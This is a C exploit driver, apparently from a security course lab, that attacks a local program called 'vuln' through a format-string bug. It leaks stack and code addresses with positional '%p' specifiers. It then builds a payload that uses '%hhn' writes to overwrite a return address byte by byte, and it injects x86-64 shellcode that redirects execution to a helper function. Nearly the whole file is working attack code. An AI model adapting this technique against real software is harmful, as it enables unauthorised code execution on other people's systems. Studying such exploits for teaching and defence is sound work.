driver_formatstring_attack.c

#include <stdio.h>
#include <stdarg.h>
#include <unistd.h>
#include <assert.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>
#include <stdint.h>
#include <errno.h>

/******************************************************************************
   Unless you are interested in the details of how this program communicates
   with a subprocess, you can skip all of the code below and skip directly to
   the main function below. 
*******************************************************************************/

#define err_abort(x) do { \
      if (!(x)) {\
         fprintf(stderr, "Fatal error: %s:%d: ", __FILE__, __LINE__);   \
         perror(""); \
         exit(1);\
      }\
   } while (0)

char buf[1<<20];
unsigned end;
int from_child, to_child;

void print_escaped(FILE *fp, const char* buf, unsigned len) {
   int i;
   for (i=0; i < len; i++) {
      if (isprint(buf[i]))
         fputc(buf[i], stderr);
      else fprintf(stderr, "\\x%02hhx", buf[i]);
   }
}

void put_bin_at(char b[], unsigned len, unsigned pos) {
   assert(pos <= end);
   if (pos+len > end)
      end = pos+len;
   assert(end < sizeof(buf));
   memcpy(&buf[pos], b, len);
}

void put_bin(char b[], unsigned len) {
   put_bin_at(b, len, end);
}

void put_formatted(const char* fmt, ...) {
   va_list argp;
   char tbuf[10000];
   va_start (argp, fmt);
   vsnprintf(tbuf, sizeof(tbuf), fmt, argp);
   put_bin(tbuf, strlen(tbuf));
}

void put_str(const char* s) {
   put_formatted("%s", s);
}

static
void send() {
   err_abort(write(to_child, buf, end) == end);
   fprintf(stderr, "driver: Sent:'");
   print_escaped(stderr, buf, end);
   fprintf(stderr, "'\n");
   end = 0;
}

char outbuf[1<<20];
int get_formatted(const char* fmt, ...) {
   va_list argp;
   va_start(argp, fmt);
   int nread=0;
   err_abort((nread = read(from_child, outbuf, sizeof(outbuf)-1)) >=0);
   outbuf[nread] = '\0';
   fprintf(stderr, "driver: Received '%s'\n", outbuf);
   return vsscanf(outbuf, fmt, argp);
}

int pid;
void create_subproc(const char* exec, char* argv[]) {
   int pipefd_out[2];
   int pipefd_in[2];
   err_abort(pipe(pipefd_in) >= 0);
   err_abort(pipe(pipefd_out) >= 0);
   if ((pid = fork()) == 0) { // Child process
      err_abort(dup2(pipefd_in[0], 0) >= 0);
      close(pipefd_in[1]);
      close(pipefd_out[0]);
      err_abort(dup2(pipefd_out[1], 1) >= 0);
      err_abort(execve(exec, argv, NULL) >= 0);
   }
   else { // Parent
      close(pipefd_in[0]);
      to_child = pipefd_in[1];
      from_child = pipefd_out[0];
      close(pipefd_out[1]);
   }
}

/* Shows an example session with subprocess. Change it as you see fit, */

#define STRINGIFY2(X) #X
#define STRINGIFY(X) STRINGIFY2(X)

int main(int argc, char* argv[]) {
	char *nargv[3];
	nargv[0] = "vuln";
	nargv[1] = STRINGIFY(GRP);
	nargv[2] = NULL;
	

	uint64_t main_bp = 0x00007ffccc25d270;   
	uint64_t main_ra_loc_diff = sizeof(uint64_t);   
	uint64_t rdbuf_start = 0x00007ffccc25cac2;
	uint32_t rdbuf_len = 0x70b;	
	
	create_subproc("./vuln", nargv);
	fprintf(stderr, "driver: created vuln subprocess. If you want to use gdb on\n"
			"vuln, go ahead and do that now. Press 'enter' when you are ready\n"
			"to continue with the exploit\n");
	getchar();
	get_formatted("%*s"); //Needed to clear out the Welcome message
	
	
	put_str("e %257$p %256$p %269$p \n");
	send();
	uint64_t main_loop_pointer, cur_main_loop_bp, ret_from_helper2_to_main;
	get_formatted("%p%p%p", &main_loop_pointer, &cur_main_loop_bp, &ret_from_helper2_to_main);
   
	uint64_t cur_main_loop_ra_loc = cur_main_loop_bp +  main_ra_loc_diff;
	fprintf(stderr, "driver: Where to Write: %p\n", cur_main_loop_ra_loc);

	unsigned mainloop_bp_rdbuff_diff = main_bp - rdbuf_start;
	uint64_t cur_main_loop_rdbuf = cur_main_loop_bp - mainloop_bp_rdbuff_diff;
	fprintf(stderr, "driver: rdbuf addr: %p\n", cur_main_loop_rdbuf);
	
	// calculate helper2 address in runtime
	uint64_t ret_point_offset_in_vuln = 0x1dc0;
	uint64_t helper2_offset = 0x247d;
	uint64_t helper2_from_ret_point_diff = helper2_offset - ret_point_offset_in_vuln;
	uint64_t cur_helper2_addr = main_loop_pointer + helper2_from_ret_point_diff;
	
	fprintf(stderr, "driver: Helper2 Address: %p\n", cur_helper2_addr);

	/* Injected Code ../ we should replace two Qwords to the addresses of helper2 and a return address in the main for normal exit.
	0:  90                      nop
	1:  90                      nop
	2:  90                      nop
	3:  90                      nop
	4:  90                      nop
	5:  90                      nop
	6:  90                      nop
	7:  90                      nop
	8:  90                      nop
	9:  48 b9 ef be ad de ef    mov rcx,0xdeadbeefdeadbeef
	10: be ad de
	13: ff d1                   call   rcx
	15: 48 b9 ef be ad de ef    mov rcx,0xdeadbeefdeadbeef
	1c: be ad de
	1f: 51                      push   rcx
	20: c3                      ret 
	*/ 
	//Assemble using this service http://shell-storm.org/online/Online-Assembler-and-Disassembler/
	
	char injected_code[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x48\xB9\xEF\xBE\xAD\xDE\xEF\xBE\xAD\xDE\xFF\xD1\x48\xB9\xEF\xBE\xAD\xDE\xEF\xBE\xAD\xDE\x51\xC3";
	
	memcpy((char*)injected_code + 10, &cur_helper2_addr, sizeof(uint64_t));
	memcpy((char*)injected_code + 22, &ret_from_helper2_to_main, sizeof(uint64_t));
	uint64_t injected_code_adr = cur_main_loop_rdbuf + (40* sizeof(void*));
	fprintf(stderr, "driver: Injected Code Address: %p\n", injected_code_adr);
	
	unsigned explsz = 500;
	void* *expl = (void**)malloc(explsz);
	memset((void*)expl, 0x90, explsz);
	
	// split injected code address to 4 words, because I want to use %hn to write each word at a time
	uint64_t injected_code_adr_words_loc[8];
	uint64_t temp;
	temp = injected_code_adr;	
	for (int i=0; i<8; i++)
	{
		injected_code_adr_words_loc[i] = (unsigned int) (temp & 0xFF);
		temp >>= 8;
	}

	unsigned char *tp = (unsigned char*)(expl);
	tp[0] = 'e';
	tp[1] = ' ';
	unsigned base = 40+5; // 5 is our mysterious x64 calling convention. 52 xg from top of the stack of printf when break point is on printf(rdbuf[2])
	tp = &tp[2];
		   
    sprintf(tp, "%%1$%dx%%%d$hhn", injected_code_adr_words_loc[0], base);
	tp = tp+strlen(tp);
    sprintf(tp, "%%2$%dx%%%d$hhn", (256-injected_code_adr_words_loc[0])+injected_code_adr_words_loc[1], base+1);
	tp = tp+strlen(tp);
    sprintf(tp, "%%3$%dx%%%d$hhn", (256-injected_code_adr_words_loc[1])+injected_code_adr_words_loc[2], base+2);
	tp = tp+strlen(tp);
	sprintf(tp, "%%4$%dx%%%d$hhn", (256-injected_code_adr_words_loc[2])+injected_code_adr_words_loc[3], base+3);
	tp = tp+strlen(tp);
	sprintf(tp, "%%5$%dx%%%d$hhn", (256-injected_code_adr_words_loc[3])+injected_code_adr_words_loc[4], base+4);
	tp = tp+strlen(tp);
	sprintf(tp, "%%6$%dx%%%d$hhn", (256-injected_code_adr_words_loc[4])+injected_code_adr_words_loc[5], base+5);
	tp = tp+strlen(tp);
	sprintf(tp, "%%7$%dx%%%d$hhn", (256-injected_code_adr_words_loc[5])+injected_code_adr_words_loc[6], base+6);
	tp = tp+strlen(tp);
	sprintf(tp, "%%8$%dx%%%d$hhn", (256-injected_code_adr_words_loc[6])+injected_code_adr_words_loc[7], base+7);
	tp = tp+strlen(tp);
    //"%%%06dx%%33$hn%%%06dx%%34$hn%%%06dx%%35$hn%%%06dx%%36$hn" 27,28,29
	
	tp[0] = '\0'; tp[1] = '\0';
	//fprintf(stderr, "%d %d %d\n", expl, &expl[32], &expl[33]);
	expl[15] = cur_main_loop_ra_loc;
	expl[16] = cur_main_loop_ra_loc+1;
	expl[17] = cur_main_loop_ra_loc+2;
	expl[18] = cur_main_loop_ra_loc+3;
	expl[19] = cur_main_loop_ra_loc+4;
	expl[20] = cur_main_loop_ra_loc+5;
	expl[21] = cur_main_loop_ra_loc+6;
	expl[22] = cur_main_loop_ra_loc+7;

	memcpy((char*)expl + (40* sizeof(void*)), injected_code, sizeof(injected_code));
	
	
	put_bin((void*)expl, explsz);
	send();
	usleep(100000);
	get_formatted("%*s");
	put_str("q \n");
	send();

   usleep(100000);
   get_formatted("%*s");

   kill(pid, SIGINT);

   int status;
   wait(&status);

   if (WIFEXITED(status)) {
      fprintf(stderr, "vuln exited, status=%d\n", WEXITSTATUS(status));
   } 
   else if (WIFSIGNALED(status)) {
      printf("vuln killed by signal %d\n", WTERMSIG(status));
   } 
   else if (WIFSTOPPED(status)) {
      printf("vuln stopped by signal %d\n", WSTOPSIG(status));
   } 
   else if (WIFCONTINUED(status)) {
      printf("vuln continued\n");
   }

}